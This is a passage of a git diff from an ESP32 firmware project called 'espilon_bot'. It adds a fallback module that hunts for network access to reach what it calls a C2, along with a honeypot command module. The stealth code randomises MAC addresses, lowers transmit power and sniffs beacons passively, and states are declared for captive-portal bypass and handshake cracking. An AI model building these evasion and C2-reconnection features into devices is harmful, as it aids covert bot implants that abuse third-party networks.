extern void wifi_resume_reconnect(void);
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* WiFi lazy init (for GPRS primary mode)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
static bool s_wifi_inited = false;
|
||||
|
||||
static void ensure_wifi_init(void)
|
||||
{
|
||||
if (!s_wifi_inited) {
|
||||
ESP_LOGI(TAG, "Lazy WiFi init for GPRS fallback");
|
||||
extern void wifi_init(void);
|
||||
wifi_init();
|
||||
s_wifi_inited = true;
|
||||
vTaskDelay(pdMS_TO_TICKS(2000));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Strategy 3: GPRS direct (WiFi primary mode only)
|
||||
* ============================================================ */
|
||||
#ifdef CONFIG_FB_GPRS_FALLBACK
|
||||
|
||||
static bool try_gprs_direct(void)
|
||||
{
|
||||
if (s_skip_gprs) {
|
||||
ESP_LOGI(TAG, "GPRS strategy skipped (came from GPRS)");
|
||||
return false;
|
||||
}
|
||||
|
||||
set_state(FB_GPRS_DIRECT);
|
||||
ESP_LOGI(TAG, "Trying GPRS direct connection");
|
||||
|
||||
setup_uart();
|
||||
setup_modem();
|
||||
|
||||
if (!connect_gprs() || !connect_tcp()) {
|
||||
close_tcp_connection();
|
||||
ESP_LOGW(TAG, "GPRS direct failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
mark_connected("GPRS", "gprs");
|
||||
|
||||
/* Mini RX loop via GPRS — stays here until hunt is stopped */
|
||||
while (s_active) {
|
||||
gprs_rx_poll();
|
||||
vTaskDelay(pdMS_TO_TICKS(10));
|
||||
}
|
||||
|
||||
close_tcp_connection();
|
||||
return false; /* Hunt was stopped externally */
|
||||
}
|
||||
|
||||
#endif /* CONFIG_FB_GPRS_FALLBACK */
|
||||
|
||||
static void hunt_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "Fallback hunt task started");
|
||||
|
||||
#ifdef CONFIG_FB_WIFI_FALLBACK
|
||||
/* In GPRS mode, WiFi may not be initialized yet */
|
||||
ensure_wifi_init();
|
||||
#endif
|
||||
|
||||
/* Save MAC before we randomize it */
|
||||
fb_stealth_save_original_mac();
|
||||
fb_config_save_orig_mac();
|
||||
|
||||
/* Save original WiFi config */
|
||||
if (!s_orig_config_saved) {
|
||||
esp_wifi_get_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
s_orig_config_saved = true;
|
||||
}
|
||||
|
||||
/* Take control of WiFi from normal reconnect logic */
|
||||
fb_active = true;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_pause_reconnect();
|
||||
#endif
|
||||
|
||||
/* Register our event handler */
|
||||
esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&fb_wifi_event_handler, NULL);
|
||||
esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&fb_wifi_event_handler, NULL);
|
||||
|
||||
while (s_active) {
|
||||
|
||||
/* ---- STEALTH PREP ---- */
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
set_state(FB_STEALTH_PREP);
|
||||
fb_stealth_randomize_mac();
|
||||
fb_stealth_low_tx_power();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
#endif
|
||||
|
||||
/* ---- SCAN ---- */
|
||||
set_state(FB_PASSIVE_SCAN);
|
||||
do_wifi_scan();
|
||||
|
||||
/* ---- STRATEGY 1: Known networks ---- */
|
||||
if (s_active && try_known_networks()) break;
|
||||
|
||||
/* ---- STRATEGY 2: Open networks + captive portal ---- */
|
||||
if (s_active && try_open_networks()) break;
|
||||
|
||||
#ifdef CONFIG_FB_GPRS_FALLBACK
|
||||
/* ---- STRATEGY 3: GPRS direct (last resort) ---- */
|
||||
if (s_active && try_gprs_direct()) break;
|
||||
#endif
|
||||
|
||||
/* ---- All strategies failed — wait and rescan ---- */
|
||||
if (!s_active) break;
|
||||
|
||||
ESP_LOGW(TAG, "All strategies exhausted — wait %ds and rescan",
|
||||
FB_RESCAN_DELAY_S);
|
||||
set_state(FB_IDLE);
|
||||
|
||||
for (int i = 0; i < FB_RESCAN_DELAY_S && s_active; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1000));
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- Cleanup ---- */
|
||||
|
||||
esp_event_handler_unregister(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
||||
&fb_wifi_event_handler);
|
||||
esp_event_handler_unregister(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
||||
&fb_wifi_event_handler);
|
||||
|
||||
if (s_state == FB_CONNECTED) {
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_restore_tx_power();
|
||||
#endif
|
||||
fb_active = false;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_resume_reconnect();
|
||||
#endif
|
||||
ESP_LOGI(TAG, "Hunt complete — handing off to client task");
|
||||
} else {
|
||||
/* Restore original WiFi config */
|
||||
#ifdef CONFIG_FB_STEALTH
|
||||
fb_stealth_restore_mac();
|
||||
fb_stealth_restore_tx_power();
|
||||
#endif
|
||||
if (s_orig_config_saved) {
|
||||
esp_wifi_set_config(WIFI_IF_STA, &s_orig_wifi_config);
|
||||
}
|
||||
fb_active = false;
|
||||
#ifdef CONFIG_NETWORK_WIFI
|
||||
wifi_resume_reconnect();
|
||||
#endif
|
||||
esp_wifi_connect();
|
||||
ESP_LOGI(TAG, "Hunt stopped — restoring original WiFi");
|
||||
}
|
||||
|
||||
s_task_handle = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
const char *fb_hunt_state_name(fb_state_t state)
|
||||
{
|
||||
if (state <= FB_CONNECTED)
|
||||
return state_names[state];
|
||||
return "unknown";
|
||||
}
|
||||
|
||||
fb_state_t fb_hunt_get_state(void)
|
||||
{
|
||||
state_lock();
|
||||
fb_state_t st = s_state;
|
||||
state_unlock();
|
||||
return st;
|
||||
}
|
||||
|
||||
bool fb_hunt_is_active(void)
|
||||
{
|
||||
return s_active;
|
||||
}
|
||||
|
||||
const char *fb_hunt_connected_ssid(void)
|
||||
{
|
||||
static char ssid_copy[33];
|
||||
state_lock();
|
||||
memcpy(ssid_copy, s_connected_ssid, sizeof(ssid_copy));
|
||||
state_unlock();
|
||||
return ssid_copy;
|
||||
}
|
||||
|
||||
const char *fb_hunt_connected_method(void)
|
||||
{
|
||||
static char method_copy[16];
|
||||
state_lock();
|
||||
memcpy(method_copy, s_connected_method, sizeof(method_copy));
|
||||
state_unlock();
|
||||
return method_copy;
|
||||
}
|
||||
|
||||
void fb_hunt_init(void)
|
||||
{
|
||||
if (!s_state_mutex) {
|
||||
s_state_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
if (!s_evt_group) {
|
||||
s_evt_group = xEventGroupCreate();
|
||||
}
|
||||
ESP_LOGI(TAG, "Hunt init done");
|
||||
}
|
||||
|
||||
void fb_hunt_set_skip_gprs(bool skip)
|
||||
{
|
||||
s_skip_gprs = skip;
|
||||
}
|
||||
|
||||
void fb_hunt_trigger(void)
|
||||
{
|
||||
if (s_active) {
|
||||
ESP_LOGW(TAG, "Hunt already active");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Ensure init (safety net if called before register_commands) */
|
||||
fb_hunt_init();
|
||||
|
||||
s_skip_gprs = false; /* Reset per-hunt */
|
||||
s_active = true;
|
||||
|
||||
state_lock();
|
||||
s_state = FB_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
|
||||
BaseType_t ret = xTaskCreatePinnedToCore(
|
||||
hunt_task,
|
||||
"fb_hunt",
|
||||
FB_HUNT_STACK,
|
||||
NULL,
|
||||
FB_HUNT_PRIO,
|
||||
&s_task_handle,
|
||||
1 /* Core 1 */
|
||||
);
|
||||
|
||||
if (ret != pdPASS) {
|
||||
ESP_LOGE(TAG, "Failed to create hunt task");
|
||||
s_active = false;
|
||||
}
|
||||
}
|
||||
|
||||
void fb_hunt_stop(void)
|
||||
{
|
||||
if (!s_active) return;
|
||||
|
||||
s_active = false;
|
||||
|
||||
for (int i = 0; i < 50 && s_task_handle != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
/* Only reset state if task actually exited */
|
||||
if (s_task_handle == NULL) {
|
||||
state_lock();
|
||||
s_state = FB_IDLE;
|
||||
s_connected_ssid[0] = '\0';
|
||||
s_connected_method[0] = '\0';
|
||||
state_unlock();
|
||||
} else {
|
||||
ESP_LOGW(TAG, "Hunt task did not exit in time");
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Hunt stopped");
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
65
espilon_bot/components/mod_fallback/fb_hunt.h
Normal file
65
espilon_bot/components/mod_fallback/fb_hunt.h
Normal file
@ -0,0 +1,65 @@
|
||||
/*
|
||||
* fb_hunt.h
|
||||
* Fallback hunt state machine — autonomous network recovery.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* Hunt states
|
||||
* ============================================================ */
|
||||
|
||||
typedef enum {
|
||||
FB_IDLE,
|
||||
FB_STEALTH_PREP,
|
||||
FB_PASSIVE_SCAN,
|
||||
FB_TRYING_KNOWN,
|
||||
FB_TRYING_OPEN,
|
||||
FB_PORTAL_CHECK,
|
||||
FB_PORTAL_BYPASS,
|
||||
FB_C2_VERIFY,
|
||||
FB_HANDSHAKE_CRACK,
|
||||
FB_GPRS_DIRECT,
|
||||
FB_CONNECTED,
|
||||
} fb_state_t;
|
||||
|
||||
/* ============================================================
|
||||
* API
|
||||
* ============================================================ */
|
||||
|
||||
/* Trigger the hunt (start the state machine task if not running).
|
||||
* Called automatically by WiFi.c on TCP failure. */
|
||||
void fb_hunt_trigger(void);
|
||||
|
||||
/* Stop the hunt, restore original WiFi + MAC + TX power. */
|
||||
void fb_hunt_stop(void);
|
||||
|
||||
/* Get current state. */
|
||||
fb_state_t fb_hunt_get_state(void);
|
||||
|
||||
/* Get state name as string. */
|
||||
const char *fb_hunt_state_name(fb_state_t state);
|
||||
|
||||
/* Is the hunt task currently running? */
|
||||
bool fb_hunt_is_active(void);
|
||||
|
||||
/* Get the SSID we connected to (empty if none). */
|
||||
const char *fb_hunt_connected_ssid(void);
|
||||
|
||||
/* Get the method used to connect (e.g. "known", "open", "handshake", "gprs"). */
|
||||
const char *fb_hunt_connected_method(void);
|
||||
|
||||
/* Init mutex and event group (call from register_commands). */
|
||||
void fb_hunt_init(void);
|
||||
|
||||
/* Skip GPRS strategy in hunt (set by gprs_client_task to avoid loop). */
|
||||
void fb_hunt_set_skip_gprs(bool skip);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
253
espilon_bot/components/mod_fallback/fb_stealth.c
Normal file
253
espilon_bot/components/mod_fallback/fb_stealth.c
Normal file
@ -0,0 +1,253 @@
|
||||
/*
|
||||
* fb_stealth.c
|
||||
* OPSEC: MAC randomization, TX power control, passive scan.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "fb_stealth.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "FB_STEALTH";
|
||||
|
||||
/* ============================================================
|
||||
* MAC randomization
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t s_orig_mac[6] = {0};
|
||||
static bool s_mac_saved = false;
|
||||
|
||||
void fb_stealth_save_original_mac(void)
|
||||
{
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
|
||||
s_mac_saved = true;
|
||||
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_randomize_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
esp_fill_random(mac, 6);
|
||||
mac[0] &= 0xFE; /* unicast */
|
||||
mac[0] |= 0x02; /* locally administered */
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
|
||||
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_restore_mac(void)
|
||||
{
|
||||
if (s_mac_saved) {
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
|
||||
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6])
|
||||
{
|
||||
esp_wifi_get_mac(WIFI_IF_STA, mac);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TX power control
|
||||
* ============================================================ */
|
||||
|
||||
void fb_stealth_low_tx_power(void)
|
||||
{
|
||||
esp_err_t err = esp_wifi_set_max_tx_power(32); /* 8 dBm */
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void fb_stealth_restore_tx_power(void)
|
||||
{
|
||||
esp_wifi_set_max_tx_power(80); /* 20 dBm */
|
||||
ESP_LOGI(TAG, "TX power restored to 20 dBm");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Passive scan — promiscuous mode beacon capture
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
unsigned frame_ctrl:16;
|
||||
unsigned duration_id:16;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
unsigned seq_ctrl:16;
|
||||
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||
|
||||
#define BEACON_FIXED_LEN 12
|
||||
|
||||
static fb_scan_ap_t s_scan_results[FB_MAX_SCAN_APS];
|
||||
static volatile int s_scan_count = 0;
|
||||
|
||||
static int find_bssid(const uint8_t bssid[6])
|
||||
{
|
||||
for (int i = 0; i < s_scan_count; i++) {
|
||||
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||
|
||||
uint16_t fc = hdr->frame_ctrl;
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
if (subtype != 8 && subtype != 5) return; /* beacon or probe_resp */
|
||||
|
||||
const uint8_t *bssid = hdr->addr3;
|
||||
|
||||
int idx = find_bssid(bssid);
|
||||
if (idx >= 0) {
|
||||
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
|
||||
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (s_scan_count >= FB_MAX_SCAN_APS) return;
|
||||
|
||||
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
|
||||
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
|
||||
|
||||
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
|
||||
return;
|
||||
|
||||
const uint8_t *body = pkt->payload + body_offset;
|
||||
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
|
||||
if (body_len > 4) body_len -= 4;
|
||||
|
||||
fb_scan_ap_t *ap = &s_scan_results[s_scan_count];
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(ap->bssid, bssid, 6);
|
||||
ap->rssi = pkt->rx_ctrl.rssi;
|
||||
ap->channel = pkt->rx_ctrl.channel;
|
||||
ap->auth_mode = 0;
|
||||
|
||||
size_t pos = 0;
|
||||
while (pos + 2 <= body_len) {
|
||||
uint8_t tag_id = body[pos];
|
||||
uint8_t tag_len = body[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > body_len) break;
|
||||
|
||||
if (tag_id == 0) {
|
||||
size_t ssid_len = tag_len;
|
||||
if (ssid_len > 32) ssid_len = 32;
|
||||
memcpy(ap->ssid, body + pos + 2, ssid_len);
|
||||
ap->ssid[ssid_len] = '\0';
|
||||
} else if (tag_id == 48) {
|
||||
ap->auth_mode = 3;
|
||||
} else if (tag_id == 221) {
|
||||
if (tag_len >= 4 &&
|
||||
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
|
||||
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
|
||||
if (ap->auth_mode == 0) ap->auth_mode = 2;
|
||||
}
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
s_scan_count++;
|
||||
}
|
||||
|
||||
int fb_stealth_passive_scan(int duration_ms)
|
||||
{
|
||||
s_scan_count = 0;
|
||||
memset(s_scan_results, 0, sizeof(s_scan_results));
|
||||
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
|
||||
|
||||
int channels = 13;
|
||||
int hop_ms = 200;
|
||||
int elapsed = 0;
|
||||
|
||||
while (elapsed < duration_ms) {
|
||||
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
|
||||
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
|
||||
vTaskDelay(pdMS_TO_TICKS(hop_ms));
|
||||
elapsed += hop_ms;
|
||||
}
|
||||
}
|
||||
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
|
||||
return s_scan_count;
|
||||
}
|
||||
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count)
|
||||
{
|
||||
int count = s_scan_count;
|
||||
if (count > max_count) count = max_count;
|
||||
memcpy(out, s_scan_results, count * sizeof(fb_scan_ap_t));
|
||||
return count;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_FALLBACK — empty stubs */
|
||||
|
||||
#include <string.h>
|
||||
|
||||
void fb_stealth_save_original_mac(void) {}
|
||||
void fb_stealth_randomize_mac(void) {}
|
||||
void fb_stealth_restore_mac(void) {}
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
|
||||
void fb_stealth_low_tx_power(void) {}
|
||||
void fb_stealth_restore_tx_power(void) {}
|
||||
int fb_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
|
||||
|
||||
#endif /* CONFIG_MODULE_FALLBACK */
|
||||
37
espilon_bot/components/mod_fallback/fb_stealth.h
Normal file
37
espilon_bot/components/mod_fallback/fb_stealth.h
Normal file
@ -0,0 +1,37 @@
|
||||
/*
|
||||
* fb_stealth.h
|
||||
* OPSEC: MAC randomization, TX power control, passive scanning.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void fb_stealth_save_original_mac(void);
|
||||
void fb_stealth_randomize_mac(void);
|
||||
void fb_stealth_restore_mac(void);
|
||||
void fb_stealth_get_current_mac(uint8_t mac[6]);
|
||||
void fb_stealth_low_tx_power(void);
|
||||
void fb_stealth_restore_tx_power(void);
|
||||
|
||||
int fb_stealth_passive_scan(int duration_ms);
|
||||
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
|
||||
} fb_scan_ap_t;
|
||||
|
||||
#define FB_MAX_SCAN_APS 32
|
||||
|
||||
int fb_stealth_get_scan_results(fb_scan_ap_t *out, int max_count);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
6
espilon_bot/components/mod_honeypot/CMakeLists.txt
Normal file
6
espilon_bot/components/mod_honeypot/CMakeLists.txt
Normal file
@ -0,0 +1,6 @@
|
||||
idf_component_register(
|
||||
SRCS cmd_honeypot.c hp_config.c hp_tcp_services.c hp_wifi_monitor.c hp_net_monitor.c
|
||||
services/svc_ssh.c services/svc_telnet.c services/svc_http.c services/svc_ftp.c
|
||||
INCLUDE_DIRS . services
|
||||
REQUIRES core nvs_flash lwip esp_wifi freertos
|
||||
)
|
||||
308
espilon_bot/components/mod_honeypot/cmd_honeypot.c
Normal file
308
espilon_bot/components/mod_honeypot/cmd_honeypot.c
Normal file
@ -0,0 +1,308 @@
|
||||
/*
|
||||
* cmd_honeypot.c
|
||||
* Honeypot command registration and dispatch.
|
||||
* Compiled as empty when CONFIG_MODULE_HONEYPOT is not set.
|
||||
*
|
||||
* Commands (8 total, fits within 32-command budget):
|
||||
* hp_svc <service> <start|stop|status>
|
||||
* hp_wifi <start|stop|status>
|
||||
* hp_net <start|stop|status>
|
||||
* hp_config_set <type> <key> <value>
|
||||
* hp_config_get <type> <key>
|
||||
* hp_config_list [type]
|
||||
* hp_config_reset
|
||||
* hp_status
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include "hp_config.h"
|
||||
#include "hp_tcp_services.h"
|
||||
#include "hp_wifi_monitor.h"
|
||||
#include "hp_net_monitor.h"
|
||||
|
||||
#define TAG "HONEYPOT"
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_svc <service> <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_svc(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *svc_name = argv[0];
|
||||
const char *action = argv[1];
|
||||
|
||||
int id = hp_svc_name_to_id(svc_name);
|
||||
if (id < 0) {
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "error=unknown_service service=%s", svc_name);
|
||||
msg_error(TAG, buf, req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_svc_start((hp_svc_id_t)id);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "service=%s action=started", svc_name);
|
||||
msg_info(TAG, buf, req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_svc_stop((hp_svc_id_t)id);
|
||||
char buf[64];
|
||||
snprintf(buf, sizeof(buf), "service=%s action=stopped", svc_name);
|
||||
msg_info(TAG, buf, req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_svc_status((hp_svc_id_t)id, buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_wifi <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_wifi(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *action = argv[0];
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_wifi_monitor_start();
|
||||
msg_info(TAG, "wifi_monitor=started", req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_wifi_monitor_stop();
|
||||
msg_info(TAG, "wifi_monitor=stopped", req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_wifi_monitor_status(buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_net <start|stop|status>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_net(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *action = argv[0];
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
hp_net_monitor_start();
|
||||
msg_info(TAG, "net_monitor=started", req);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
hp_net_monitor_stop();
|
||||
msg_info(TAG, "net_monitor=stopped", req);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
char buf[256];
|
||||
hp_net_monitor_status(buf, sizeof(buf));
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_action expected=start|stop|status", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_set <type> <key> <value>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_set(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *type = argv[0];
|
||||
const char *key = argv[1];
|
||||
const char *value = argv[2];
|
||||
|
||||
esp_err_t err;
|
||||
if (strcmp(type, "banner") == 0) {
|
||||
err = hp_config_set_banner(key, value);
|
||||
} else if (strcmp(type, "threshold") == 0) {
|
||||
err = hp_config_set_threshold(key, atoi(value));
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
if (err == ESP_OK) {
|
||||
char buf[128];
|
||||
snprintf(buf, sizeof(buf), "config_set=%s.%s value=%s", type, key, value);
|
||||
msg_info(TAG, buf, req);
|
||||
} else {
|
||||
msg_error(TAG, "error=config_set_failed", req);
|
||||
}
|
||||
return err;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_get <type> <key>
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_get(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
const char *type = argv[0];
|
||||
const char *key = argv[1];
|
||||
|
||||
char buf[256];
|
||||
if (strcmp(type, "banner") == 0) {
|
||||
char val[128];
|
||||
hp_config_get_banner(key, val, sizeof(val));
|
||||
/* Strip newlines for display */
|
||||
for (char *p = val; *p; p++) {
|
||||
if (*p == '\r' || *p == '\n') { *p = '\0'; break; }
|
||||
}
|
||||
snprintf(buf, sizeof(buf), "banner_%s=%s", key, val);
|
||||
} else if (strcmp(type, "threshold") == 0) {
|
||||
int val = hp_config_get_threshold(key);
|
||||
snprintf(buf, sizeof(buf), "threshold_%s=%d", key, val);
|
||||
} else {
|
||||
msg_error(TAG, "error=invalid_config_type expected=banner|threshold", req);
|
||||
return ESP_ERR_INVALID_ARG;
|
||||
}
|
||||
|
||||
msg_info(TAG, buf, req);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: hp_config_list [type]
|
||||
* ============================================================ */
|
||||
static esp_err_t cmd_hp_config_list(
|
||||
int argc, char **argv, const char *req, void *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
